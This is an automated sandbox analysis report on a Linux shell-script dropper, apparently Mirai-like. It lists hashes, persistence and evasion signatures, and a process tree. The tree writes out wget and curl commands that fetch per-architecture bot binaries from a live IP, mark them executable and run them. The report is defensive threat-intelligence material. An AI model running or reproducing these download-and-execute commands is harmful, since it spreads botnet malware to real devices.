Analysis
- max time kernel
149s - max time network
149s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20261019-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20261019-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
02/11/2026, 00:10
Static task
static1
Behavioral task
behavioral1
Sample
s.sh
Resource
ubuntu1804-amd64-20261019-en
ubuntu-18.04-amd64
18 signatures
150 seconds
Behavioral task
behavioral2
Sample
s.sh
Resource
debian9-armhf-20260513-en
debian-9-armhf
19 signatures
150 seconds
Behavioral task
behavioral3
Sample
s.sh
Resource
debian9-mipsbe-20260513-en
debian-9-mips
6 signatures
150 seconds
Behavioral task
behavioral4
Sample
s.sh
Resource
debian9-mipsel-20260513-en
debian-9-mipsel
6 signatures
150 seconds
General
- Target s.sh
- Size 4KB
- Sample261102-af6wfadf74
- SHA256 85bd43e942976b8a4ddcfe7ae22154f108139a509acb891f747d70e1cb4bac3d
- MD5 454d6716ba9fed705c205dd54e0b516e
- SHA1 155bdb96cda232e8debf28e9197170367263a773
- SHA512 af62ea1809c9f01dffceb4fb21a5532b03aa4a07f0dbb35834298d892fba2db06e0b02c5d9add805916b88cc56bbafbf8f7f73da4db32a3e2b2c54e735955b69
- SSDEEP 48:2pH6UpCWUpuOulUpfWUpwZEUp5sUp6aUpEmUpzMUpYOUpFqUptWUpY+UpEeUp+2n:2UUPUmUAUyEUIUTUNUyUhUWUaUVUZUDn
- TLSH T19A81FA89718207A47E69EA22637EC50D5741D4CFD8CA2FD5F3DEA6B08D8CCC87C54292
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1627 chmod 1580 chmod 1618 chmod 1645 chmod 1543 chmod 1552 chmod 1571 chmod 1600 chmod 1636 chmod 1654 chmod 1663 chmod 1672 chmod 1562 chmod 1589 chmod 1609 chmod - Executes dropped EXE 15 IoCs
ioc pid Process /tmp/lovers 1544 s.sh /tmp/lovers 1553 s.sh /tmp/lovers 1563 s.sh /tmp/lovers 1572 s.sh /tmp/lovers 1581 s.sh /tmp/lovers 1590 s.sh /tmp/lovers 1601 s.sh /tmp/lovers 1610 s.sh /tmp/lovers 1619 s.sh /tmp/lovers 1628 s.sh /tmp/lovers 1637 s.sh /tmp/lovers 1646 s.sh /tmp/lovers 1655 s.sh /tmp/lovers 1664 s.sh /tmp/lovers 1673 s.sh - Modifies Watchdog functionality 1 TTPs 30 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/misc/watchdog lovers File opened for modification /dev/watchdog lovers File opened for modification /dev/watchdog lovers File opened for modification /dev/misc/watchdog lovers File opened for modification /dev/watchdog lovers File opened for modification /dev/misc/watchdog lovers File opened for modification /dev/watchdog lovers File opened for modification /dev/watchdog lovers File opened for modification /dev/misc/watchdog lovers File opened for modification /dev/watchdog lovers File opened for modification /dev/watchdog lovers File opened for modification /dev/watchdog lovers File opened for modification /dev/misc/watchdog lovers File opened for modification /dev/watchdog lovers File opened for modification /dev/watchdog lovers File opened for modification /dev/misc/watchdog lovers File opened for modification /dev/misc/watchdog lovers File opened for modification /dev/misc/watchdog lovers File opened for modification /dev/misc/watchdog lovers File opened for modification /dev/misc/watchdog lovers File opened for modification /dev/misc/watchdog lovers File opened for modification /dev/misc/watchdog lovers File opened for modification /dev/misc/watchdog lovers File opened for modification /dev/watchdog lovers File opened for modification /dev/misc/watchdog lovers File opened for modification /dev/watchdog lovers File opened for modification /dev/watchdog lovers File opened for modification /dev/watchdog lovers File opened for modification /dev/watchdog lovers File opened for modification /dev/misc/watchdog lovers - Creates/modifies Cron job 1 TTPs 35 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/root lovers File opened for modification /etc/cron.d/systemd-update lovers File opened for modification /etc/cron.d/systemd-update lovers File opened for modification /var/spool/cron/root lovers File opened for modification /etc/cron.hourly/root lovers File opened for modification /var/spool/cron/crontabs/root lovers File opened for modification /var/spool/cron/root lovers File opened for modification /etc/cron.d/systemd-update lovers File opened for modification /etc/cron.d/systemd-update lovers File opened for modification /var/spool/cron/crontabs/root lovers File opened for modification /etc/cron.d/systemd-update lovers File opened for modification /etc/cron.hourly/root lovers File opened for modification /etc/cron.d/systemd-update lovers File opened for modification /etc/cron.d/systemd-update lovers File opened for modification /etc/cron.d/systemd-update lovers File opened for modification /etc/crontab lovers File opened for modification /var/spool/cron/root lovers File opened for modification /var/spool/cron/crontabs/root lovers File opened for modification /etc/cron.d/systemd-update lovers File opened for modification /var/spool/cron/root lovers File opened for modification /var/spool/cron/crontabs/root lovers File opened for modification /etc/crontab lovers File opened for modification /etc/cron.d/systemd-update lovers File opened for modification /etc/cron.d/systemd-update lovers File opened for modification /etc/cron.d/systemd-update lovers File opened for modification /etc/cron.d/systemd-update lovers File opened for modification /etc/crontab lovers File opened for modification /etc/cron.hourly/root lovers File opened for modification /etc/crontab lovers File opened for modification /etc/cron.d/systemd-update lovers File opened for modification /etc/crontab lovers File opened for modification /etc/cron.hourly/root lovers File opened for modification /var/spool/cron/root lovers File opened for modification /etc/cron.d/systemd-update lovers File opened for modification /etc/cron.hourly/root lovers - Creates/modifies environment variables 1 TTPs 15 IoCs
Creating/modifying environment variables is a common persistence mechanism.
description ioc Process File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers - Enumerates active TCP sockets 1 TTPs 14 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers - Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for modification /etc/init.d/systemd-update lovers File opened for modification /etc/init.d/systemd-update lovers File opened for modification /etc/init.d/systemd-update lovers File opened for modification /etc/init.d/systemd-update lovers File opened for modification /etc/init.d/systemd-update lovers File opened for modification /etc/init.d/systemd-update lovers File opened for modification /etc/init.d/systemd-update lovers File opened for modification /etc/init.d/systemd-update lovers File opened for modification /etc/init.d/systemd-update lovers File opened for modification /etc/init.d/systemd-update lovers File opened for modification /etc/init.d/systemd-update lovers File opened for modification /etc/init.d/systemd-update lovers File opened for modification /etc/init.d/systemd-update lovers File opened for modification /etc/init.d/systemd-update lovers File opened for modification /etc/init.d/systemd-update lovers - Modifies rc script 2 TTPs 35 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
description ioc Process File opened for modification /etc/rc3.d/S99systemd-update lovers File opened for modification /etc/rc3.d/S99systemd-update lovers File opened for modification /etc/rc.d/rc.local lovers File opened for modification /etc/rc3.d/S99systemd-update lovers File opened for modification /etc/rc3.d/S99systemd-update lovers File opened for modification /etc/rc3.d/S99systemd-update lovers File opened for modification /etc/rc.d/rc.local lovers File opened for modification /etc/rc.d/rc.local lovers File opened for modification /etc/rc.local lovers File opened for modification /etc/rc3.d/S99systemd-update lovers File opened for modification /etc/rc.d/rc.local lovers File opened for modification /etc/rc.d/rc.local lovers File opened for modification /etc/rc.d/rc.local lovers File opened for modification /etc/rc.d/rc.local lovers File opened for modification /etc/rc.local lovers File opened for modification /etc/rc3.d/S99systemd-update lovers File opened for modification /etc/rc.d/rc.local lovers File opened for modification /etc/rc3.d/S99systemd-update lovers File opened for modification /etc/rc.d/rc.local lovers File opened for modification /etc/rc3.d/S99systemd-update lovers File opened for modification /etc/rc3.d/S99systemd-update lovers File opened for modification /etc/rc.local lovers File opened for modification /etc/rc3.d/S99systemd-update lovers File opened for modification /etc/rc.local lovers File opened for modification /etc/rc.d/rc.local lovers File opened for modification /etc/rc.d/rc.local lovers File opened for modification /etc/rc3.d/S99systemd-update lovers File opened for modification /etc/rc3.d/S99systemd-update lovers File opened for modification /etc/rc.d/rc.local lovers File opened for modification /etc/rc3.d/S99systemd-update lovers File opened for modification /etc/rc.d/rc.local lovers File opened for modification /etc/rc.d/rc.local lovers File opened for modification /etc/rc3.d/S99systemd-update lovers File opened for modification /etc/rc.local lovers File opened for modification /etc/rc.d/rc.local lovers - Modifies systemd 2 TTPs 30 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/systemd-update.service lovers File opened for modification /lib/systemd/system/systemd-update.service lovers File opened for modification /lib/systemd/system/systemd-update.service lovers File opened for modification /etc/systemd/system/systemd-update.service lovers File opened for modification /etc/systemd/system/systemd-update.service lovers File opened for modification /lib/systemd/system/systemd-update.service lovers File opened for modification /etc/systemd/system/systemd-update.service lovers File opened for modification /lib/systemd/system/systemd-update.service lovers File opened for modification /etc/systemd/system/systemd-update.service lovers File opened for modification /lib/systemd/system/systemd-update.service lovers File opened for modification /lib/systemd/system/systemd-update.service lovers File opened for modification /lib/systemd/system/systemd-update.service lovers File opened for modification /etc/systemd/system/systemd-update.service lovers File opened for modification /lib/systemd/system/systemd-update.service lovers File opened for modification /lib/systemd/system/systemd-update.service lovers File opened for modification /lib/systemd/system/systemd-update.service lovers File opened for modification /lib/systemd/system/systemd-update.service lovers File opened for modification /etc/systemd/system/systemd-update.service lovers File opened for modification /etc/systemd/system/systemd-update.service lovers File opened for modification /etc/systemd/system/systemd-update.service lovers File opened for modification /etc/systemd/system/systemd-update.service lovers File opened for modification /lib/systemd/system/systemd-update.service lovers File opened for modification /lib/systemd/system/systemd-update.service lovers File opened for modification /etc/systemd/system/systemd-update.service lovers File opened for modification /lib/systemd/system/systemd-update.service lovers File opened for modification /etc/systemd/system/systemd-update.service lovers File opened for modification /etc/systemd/system/systemd-update.service lovers File opened for modification /etc/systemd/system/systemd-update.service lovers File opened for modification /etc/systemd/system/systemd-update.service lovers File opened for modification /lib/systemd/system/systemd-update.service lovers - Write file to user bin folder 19 IoCs
description ioc Process File opened for modification /usr/bin/systemd-update-wd lovers File opened for modification /usr/bin/systemd-update-wd lovers File opened for modification /usr/bin/systemd-update-wd lovers File opened for modification /usr/sbin/netconsole lovers File opened for modification /usr/bin/systemd-update-wd lovers File opened for modification /usr/bin/systemd-update-wd lovers File opened for modification /usr/bin/systemd-update-wd lovers File opened for modification /usr/bin/systemd-update-wd lovers File opened for modification /usr/bin/NetworkManager lovers File opened for modification /usr/bin/NetworkManager.wd lovers File opened for modification /usr/sbin/netconsole.wd lovers File opened for modification /usr/bin/systemd-update-wd lovers File opened for modification /usr/bin/systemd-update-wd lovers File opened for modification /usr/bin/systemd-update-wd lovers File opened for modification /usr/bin/systemd-update-wd lovers File opened for modification /usr/bin/systemd-update-wd lovers File opened for modification /usr/bin/systemd-update-wd lovers File opened for modification /usr/bin/systemd-update-wd lovers File opened for modification /usr/bin/systemd-update-wd lovers - Modifies Bash startup script 2 TTPs 15 IoCs
description ioc Process File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers File opened for modification /etc/profile.d/systemd-update.sh lovers - Reads process memory 1 TTPs 45 IoCs
Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.
description ioc Process File opened for reading /proc/918/maps lovers File opened for reading /proc/464/maps lovers File opened for reading /proc/468/maps lovers File opened for reading /proc/574/maps lovers File opened for reading /proc/719/maps lovers File opened for reading /proc/985/maps lovers File opened for reading /proc/478/maps lovers File opened for reading /proc/663/maps lovers File opened for reading /proc/666/maps lovers File opened for reading /proc/672/maps lovers File opened for reading /proc/942/maps lovers File opened for reading /proc/967/maps lovers File opened for reading /proc/998/maps lovers File opened for reading /proc/448/maps lovers File opened for reading /proc/495/maps lovers File opened for reading /proc/562/maps lovers File opened for reading /proc/689/maps lovers File opened for reading /proc/720/maps lovers File opened for reading /proc/961/maps lovers File opened for reading /proc/981/maps lovers File opened for reading /proc/450/maps lovers File opened for reading /proc/456/maps lovers File opened for reading /proc/461/maps lovers File opened for reading /proc/494/maps lovers File opened for reading /proc/504/maps lovers File opened for reading /proc/589/maps lovers File opened for reading /proc/614/maps lovers File opened for reading /proc/925/maps lovers File opened for reading /proc/455/maps lovers File opened for reading /proc/513/maps lovers File opened for reading /proc/514/maps lovers File opened for reading /proc/618/maps lovers File opened for reading /proc/928/maps lovers File opened for reading /proc/947/maps lovers File opened for reading /proc/991/maps lovers File opened for reading /proc/503/maps lovers File opened for reading /proc/547/maps lovers File opened for reading /proc/988/maps lovers File opened for reading /proc/538/maps lovers File opened for reading /proc/664/maps lovers File opened for reading /proc/682/maps lovers File opened for reading /proc/920/maps lovers File opened for reading /proc/470/maps lovers File opened for reading /proc/539/maps lovers File opened for reading /proc/728/maps lovers - Changes its process name 15 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself systemd-update 1544 lovers Changes the process name, possibly in an attempt to hide itself systemd-update 1553 lovers Changes the process name, possibly in an attempt to hide itself systemd-update 1563 lovers Changes the process name, possibly in an attempt to hide itself systemd-update 1572 lovers Changes the process name, possibly in an attempt to hide itself systemd-update 1581 lovers Changes the process name, possibly in an attempt to hide itself systemd-update 1590 lovers Changes the process name, possibly in an attempt to hide itself systemd-update 1601 lovers Changes the process name, possibly in an attempt to hide itself systemd-update 1610 lovers Changes the process name, possibly in an attempt to hide itself systemd-update 1619 lovers Changes the process name, possibly in an attempt to hide itself systemd-update 1628 lovers Changes the process name, possibly in an attempt to hide itself systemd-update 1637 lovers Changes the process name, possibly in an attempt to hide itself systemd-update 1646 lovers Changes the process name, possibly in an attempt to hide itself systemd-update 1655 lovers Changes the process name, possibly in an attempt to hide itself systemd-update 1664 lovers Changes the process name, possibly in an attempt to hide itself systemd-update 1673 lovers - Reads system network configuration 1 TTPs 14 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers File opened for reading /proc/net/tcp lovers -
description ioc Process File opened for reading /proc/1305/fd lovers File opened for reading /proc/728/fd lovers File opened for reading /proc/720/fd lovers File opened for reading /proc/504/fd lovers File opened for reading /proc/359/fd lovers File opened for reading /proc/1167/fd lovers File opened for reading /proc/359/fd lovers File opened for reading /proc/1307/fd lovers File opened for reading /proc/663/fd lovers File opened for reading /proc/478/fd lovers File opened for reading /proc/1089/fd lovers File opened for reading /proc/1005/fd lovers File opened for reading /proc/991/fd lovers File opened for reading /proc/663/fd lovers File opened for reading /proc/589/fd lovers File opened for reading /proc/1229/fd lovers File opened for reading /proc/359/fd lovers File opened for reading /proc/1072/fd lovers File opened for reading /proc/1106/fd lovers File opened for reading /proc/267/fd lovers File opened for reading /proc/455/fd lovers File opened for reading /proc/464/fd lovers File opened for reading /proc/539/fd lovers File opened for reading /proc/1532/fd lovers File opened for reading /proc/1532/fd lovers File opened for reading /proc/1102/fd lovers File opened for reading /proc/1009/fd lovers File opened for reading /proc/1116/fd lovers File opened for reading /proc/981/fd lovers File opened for reading /proc/494/fd lovers File opened for reading /proc/728/fd lovers File opened for reading /proc/985/fd lovers File opened for reading /proc/1157/fd lovers File opened for reading /proc/450/fd lovers File opened for reading /proc/503/fd lovers File opened for reading /proc/1051/fd lovers File opened for reading /proc/1076/fd lovers File opened for reading /proc/1199/fd lovers File opened for reading /proc/1318/fd lovers File opened for reading /proc/538/fd lovers File opened for reading /proc/1318/fd lovers File opened for reading /proc/998/fd lovers File opened for reading /proc/1059/fd lovers File opened for reading /proc/682/fd lovers File opened for reading /proc/991/fd lovers File opened for reading /proc/1348/fd lovers File opened for reading /proc/1069/fd lovers File opened for reading /proc/1229/fd lovers File opened for reading /proc/589/fd lovers File opened for reading /proc/1076/fd lovers File opened for reading /proc/720/fd lovers File opened for reading /proc/1229/fd lovers File opened for reading /proc/1072/fd lovers File opened for reading /proc/1108/fd lovers File opened for reading /proc/503/fd lovers File opened for reading /proc/1087/fd lovers File opened for reading /proc/1365/fd lovers File opened for reading /proc/1394/fd lovers File opened for reading /proc/1096/fd lovers File opened for reading /proc/1365/fd lovers File opened for reading /proc/1055/fd lovers File opened for reading /proc/1106/fd lovers File opened for reading /proc/1167/fd lovers File opened for reading /proc/1538/fd lovers - System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1548 wget 1551 curl - Writes file to tmp directory 45 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/MMaaRRiiOisecTanee.mips curl File opened for modification /tmp/MMaaRRiiOisecTanee.arm wget File opened for modification /tmp/MMaaRRiiOisecTanee.arm5 curl File opened for modification /tmp/MMaaRRiiOisecTanee.m68k wget File opened for modification /tmp/MMaaRRiiOisecTanee.sh4 curl File opened for modification /tmp/.af5a2d19febb4067 curl File opened for modification /tmp/MMaaRRiiOisecTanee.mpsl curl File opened for modification /tmp/MMaaRRiiOisecTanee.arm5 wget File opened for modification /tmp/MMaaRRiiOisecTanee.arm7 wget File opened for modification /tmp/MMaaRRiiOisecTanee.m68k curl File opened for modification /tmp/.af5a2d19febb4067 curl File opened for modification /tmp/.af5a2d19febb4067 curl File opened for modification /tmp/.af5a2d19febb4067 curl File opened for modification /tmp/MMaaRRiiOisecTanee.ppc wget File opened for modification /tmp/.af5a2d19febb4067 curl File opened for modification /tmp/MMaaRRiiOisecTanee.ppc curl File opened for modification /tmp/MMaaRRiiOisecTanee.i686 wget File opened for modification /tmp/MMaaRRiiOisecTanee.x86 curl File opened for modification /tmp/.af5a2d19febb4067 curl File opened for modification /tmp/.af5a2d19febb4067 curl File opened for modification /tmp/MMaaRRiiOisecTanee.spc curl File opened for modification /tmp/MMaaRRiiOisecTanee.x86_64 curl File opened for modification /tmp/MMaaRRiiOisecTanee.i686 curl File opened for modification /tmp/MMaaRRiiOisecTanee.x86 wget File opened for modification /tmp/MMaaRRiiOisecTanee.mips wget File opened for modification /tmp/MMaaRRiiOisecTanee.spc wget File opened for modification /tmp/.af5a2d19febb4067 curl File opened for modification /tmp/MMaaRRiiOisecTanee.arc curl File opened for modification /tmp/MMaaRRiiOisecTanee.i486 curl File opened for modification /tmp/MMaaRRiiOisecTanee.mpsl wget File opened for modification /tmp/MMaaRRiiOisecTanee.arm6 curl File opened for modification /tmp/MMaaRRiiOisecTanee.arm7 curl File opened for modification /tmp/MMaaRRiiOisecTanee.i486 wget File opened for modification /tmp/.af5a2d19febb4067 curl File opened for modification /tmp/.af5a2d19febb4067 curl File opened for modification /tmp/.af5a2d19febb4067 curl File opened for modification /tmp/MMaaRRiiOisecTanee.arm curl File opened for modification /tmp/.af5a2d19febb4067 curl File opened for modification /tmp/MMaaRRiiOisecTanee.sh4 wget File opened for modification /tmp/.af5a2d19febb4067 curl File opened for modification /tmp/MMaaRRiiOisecTanee.x86_64 wget File opened for modification /tmp/lovers s.sh File opened for modification /tmp/.af5a2d19febb4067 curl File opened for modification /tmp/MMaaRRiiOisecTanee.arm6 wget File opened for modification /tmp/.af5a2d19febb4067 curl
Processes
-
/tmp/s.sh/tmp/s.sh1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:1532 -
/usr/bin/wgetwget http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.x862⤵
- Writes file to tmp directory
PID:1533
-
-
/usr/bin/curlcurl -O http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.x862⤵
- Writes file to tmp directory
PID:1541
-
-
/bin/catcat MMaaRRiiOisecTanee.x862⤵PID:1542
-
-
/bin/chmodchmod +x MMaaRRiiOisecTanee.x86 config-err-gu1nBl lovers netplan_xouqn9x7 s.sh snap-private-tmp ssh-jixHYLfDhlPL systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-ModemManager.service-LuW4IF systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-bolt.service-7vrHjL systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-colord.service-lMsS82 systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-systemd-resolved.service-pUtrJL systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-systemd-timedated.service-fGECAc2⤵
- File and Directory Permissions Modification
PID:1543
-
-
/tmp/lovers./lovers lover.ss2⤵
- Modifies Watchdog functionality
- Creates/modifies Cron job
- Creates/modifies environment variables
- Modifies init.d
- Modifies rc script
- Modifies systemd
- Write file to user bin folder
- Modifies Bash startup script
- Changes its process name
PID:1544
-
-
/usr/bin/wgetwget http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1548
-
-
/usr/bin/curlcurl -O http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1551
-
-
/bin/chmodchmod +x MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.x86 config-err-gu1nBl lovers netplan_xouqn9x7 s.sh snap-private-tmp ssh-jixHYLfDhlPL systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-ModemManager.service-LuW4IF systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-bolt.service-7vrHjL systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-colord.service-lMsS82 systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-systemd-resolved.service-pUtrJL systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-systemd-timedated.service-fGECAc2⤵
- File and Directory Permissions Modification
PID:1552
-
-
/tmp/lovers./lovers lover.ss2⤵
- Modifies Watchdog functionality
- Creates/modifies Cron job
- Creates/modifies environment variables
- Enumerates active TCP sockets
- Modifies init.d
- Modifies rc script
- Modifies systemd
- Write file to user bin folder
- Modifies Bash startup script
- Changes its process name
- Reads system network configuration
- Reads runtime system information
PID:1553
-
-
/usr/bin/wgetwget http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.mpsl2⤵
- Writes file to tmp directory
PID:1558
-
-
/usr/bin/curlcurl -O http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.mpsl2⤵
- Writes file to tmp directory
PID:1561
-
-
/bin/chmodchmod +x MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.x86 config-err-gu1nBl lovers netplan_xouqn9x7 s.sh snap-private-tmp ssh-jixHYLfDhlPL systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-ModemManager.service-LuW4IF systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-bolt.service-7vrHjL systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-colord.service-lMsS82 systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-systemd-resolved.service-pUtrJL systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-systemd-timedated.service-fGECAc2⤵
- File and Directory Permissions Modification
PID:1562
-
-
/tmp/lovers./lovers lover.ss2⤵
- Modifies Watchdog functionality
- Creates/modifies Cron job
- Creates/modifies environment variables
- Enumerates active TCP sockets
- Modifies init.d
- Modifies rc script
- Modifies systemd
- Write file to user bin folder
- Modifies Bash startup script
- Changes its process name
- Reads system network configuration
- Reads runtime system information
PID:1563
-
-
/usr/bin/wgetwget http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.arm2⤵
- Writes file to tmp directory
PID:1567
-
-
/usr/bin/curlcurl -O http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.arm2⤵
- Writes file to tmp directory
PID:1570
-
-
/bin/chmodchmod +x MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.x86 config-err-gu1nBl lovers netplan_xouqn9x7 s.sh snap-private-tmp ssh-jixHYLfDhlPL systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-ModemManager.service-LuW4IF systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-bolt.service-7vrHjL systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-colord.service-lMsS82 systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-systemd-resolved.service-pUtrJL systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-systemd-timedated.service-fGECAc2⤵
- File and Directory Permissions Modification
PID:1571
-
-
/tmp/lovers./lovers lover.ss2⤵
- Modifies Watchdog functionality
- Creates/modifies Cron job
- Creates/modifies environment variables
- Enumerates active TCP sockets
- Modifies init.d
- Modifies rc script
- Modifies systemd
- Write file to user bin folder
- Modifies Bash startup script
- Changes its process name
- Reads system network configuration
- Reads runtime system information
PID:1572
-
-
/usr/bin/wgetwget http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.arm52⤵
- Writes file to tmp directory
PID:1576
-
-
/usr/bin/curlcurl -O http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.arm52⤵
- Writes file to tmp directory
PID:1579
-
-
/bin/chmodchmod +x MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.x86 config-err-gu1nBl lovers netplan_xouqn9x7 s.sh snap-private-tmp ssh-jixHYLfDhlPL systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-ModemManager.service-LuW4IF systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-bolt.service-7vrHjL systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-colord.service-lMsS82 systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-systemd-resolved.service-pUtrJL systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-systemd-timedated.service-fGECAc2⤵
- File and Directory Permissions Modification
PID:1580
-
-
/tmp/lovers./lovers lover.ss2⤵
- Modifies Watchdog functionality
- Creates/modifies Cron job
- Creates/modifies environment variables
- Enumerates active TCP sockets
- Modifies init.d
- Modifies rc script
- Modifies systemd
- Write file to user bin folder
- Modifies Bash startup script
- Changes its process name
- Reads system network configuration
- Reads runtime system information
PID:1581
-
-
/usr/bin/wgetwget http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.arm62⤵
- Writes file to tmp directory
PID:1585
-
-
/usr/bin/curlcurl -O http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.arm62⤵
- Writes file to tmp directory
PID:1588
-
-
/bin/chmodchmod +x MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.x86 config-err-gu1nBl lovers netplan_xouqn9x7 s.sh snap-private-tmp ssh-jixHYLfDhlPL systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-ModemManager.service-LuW4IF systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-bolt.service-7vrHjL systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-colord.service-lMsS82 systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-systemd-resolved.service-pUtrJL systemd-private-0d7a0e94994d4863a4b95bf3d4d449fc-systemd-timedated.service-fGECAc2⤵
- File and Directory Permissions Modification
PID:1589
-
-
/tmp/lovers./lovers lover.ss2⤵
- Modifies Watchdog functionality
- Creates/modifies Cron job
- Creates/modifies environment variables
- Enumerates active TCP sockets
- Modifies init.d
- Modifies rc script
- Modifies systemd
- Write file to user bin folder
- Modifies Bash startup script
- Changes its process name
- Reads system network configuration
- Reads runtime system information
PID:1590
-
-
/usr/bin/wgetwget http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.arm72⤵
